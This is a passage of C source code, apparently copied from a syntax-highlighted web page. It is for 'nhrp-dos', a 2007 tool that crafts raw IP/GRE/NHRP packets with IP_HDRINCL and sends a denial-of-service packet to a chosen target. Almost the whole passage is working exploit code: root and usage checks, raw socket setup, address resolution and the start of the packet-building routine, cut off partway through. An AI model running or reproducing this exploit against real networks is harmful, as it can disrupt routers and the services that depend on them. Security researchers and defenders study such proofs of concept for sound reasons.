style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Check command line */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e(argc \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003efprintf\u003c/span\u003e(stderr, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003enhrp-dos (c) by Martin Kluge \u0026lt;mk@elxsi.de\u0026gt;, 2007\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003efprintf\u003c/span\u003e(stderr, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;------------------------------------------------\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003efprintf\u003c/span\u003e(stderr, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Usage: ./nhrp-dos \u0026lt;device\u0026gt; \u0026lt;target\u0026gt; \u0026lt;GRE key\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003efprintf\u003c/span\u003e(stderr, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;(Set GRE key = 0 to disable GRE keys!)\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Check UID */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003egetuid\u003c/span\u003e() \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003egeteuid\u003c/span\u003e() \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003efprintf\u003c/span\u003e(stderr, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Error: Please run as root!\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Open a socket */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esockfd \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eopen_socket\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Send DoS packet */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003esend_dos\u003c/span\u003e(sockfd, \u003cspan style=\"color:#a6e22e\"\u003eget_int_ipv4\u003c/span\u003e(argv[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e]), \u003cspan style=\"color:#a6e22e\"\u003eresolve_ip\u003c/span\u003e(argv[\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e]), \u003cspan style=\"color:#a6e22e\"\u003eatoi\u003c/span\u003e(argv[\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e]));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Close the socket */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eclose_socket\u003c/span\u003e(sockfd);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eexit\u003c/span\u003e(EXIT_SUCCESS);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Open the socket */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eopen_socket\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e fd;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e one \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eptr \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003eone;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Open the socket */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efd \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003esocket\u003c/span\u003e(AF_INET, SOCK_RAW, IPPROTO_UDP);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e(fd \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003efprintf\u003c/span\u003e(stderr, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Error: open_socket: Unable to open socket.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Otherwise it would be done by the kernel. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003esetsockopt\u003c/span\u003e(fd, IPPROTO_IP, IP_HDRINCL, ptr, \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(one)) \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003efprintf\u003c/span\u003e(stderr, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Error: open_socket: setsockopt failed.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#ifndef _BSD\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003esetsockopt\u003c/span\u003e(fd, IPPROTO_IP, SO_BROADCAST, ptr, \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(one)) \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003efprintf\u003c/span\u003e(stderr,\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Error: open_socket: setsockopt failed.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#endif\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e(fd);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Close the socket */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclose_socket\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e fd)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003eclose\u003c/span\u003e(fd));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Resolve the hostname to IP address */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elong\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eresolve_ip\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ehost)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e in_addr addr;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e hostent \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ehost_ent;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e((addr.s_addr \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003einet_addr\u003c/span\u003e(host)) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e!\u003c/span\u003e(host_ent \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003egethostbyname\u003c/span\u003e(host)))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ememcpy\u003c/span\u003e((\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003eaddr.s_addr, host_ent\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003eh_addr, host_ent\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003eh_length);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e(addr.s_addr);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Get IPv4 address of DEVICE */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elong\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eget_int_ipv4\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003edevice)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e tmp_fd;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e ifreq ifr;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e sockaddr_in \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003esin;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etmp_fd \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003esocket\u003c/span\u003e(PF_INET, SOCK_DGRAM, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e(tmp_fd \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003efprintf\u003c/span\u003e(stderr, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Error: get_int_ipv4: socket failed.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ememset\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003eifr, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(ifr));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esin \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e sockaddr_in \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003eifr.ifr_addr;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003estrncpy\u003c/span\u003e(ifr.ifr_name, device, \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(ifr.ifr_name));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eifr.ifr_addr.sa_family \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e AF_INET;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003eioctl\u003c/span\u003e(tmp_fd, SIOCGIFADDR, (\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003eifr) \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003efprintf\u003c/span\u003e(stderr, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Error: get_int_ipv4: ioctl failed.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eclose\u003c/span\u003e(tmp_fd);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e(sin\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003esin_addr.s_addr);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Send NHRP packet */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003esend_dos\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e fd, \u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elong\u003c/span\u003e src_ip, \u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elong\u003c/span\u003e dst_ip,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elong\u003c/span\u003e gre_key)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e ip ip_hdr;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e ip \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eiphdr;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e gre_h gre_hdr;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e nhrp_h nhrp_hdr;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e sockaddr_in sin;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e bytes \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e GRE_SIZE \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e GRE_HDR_SIZE;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Packet buffer */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ebuf;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e(gre_key\u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGRE_SIZE\u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003eGRE_KEY_SIZE;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Allocate some memory */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebuf \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emalloc\u003c/span\u003e(IP_HDR_SIZE\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003eGRE_SIZE\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003eNHRP_HDR_SIZE);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e(buf \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003efprintf\u003c/span\u003e(stderr, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Error: send_dos: malloc failed.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan 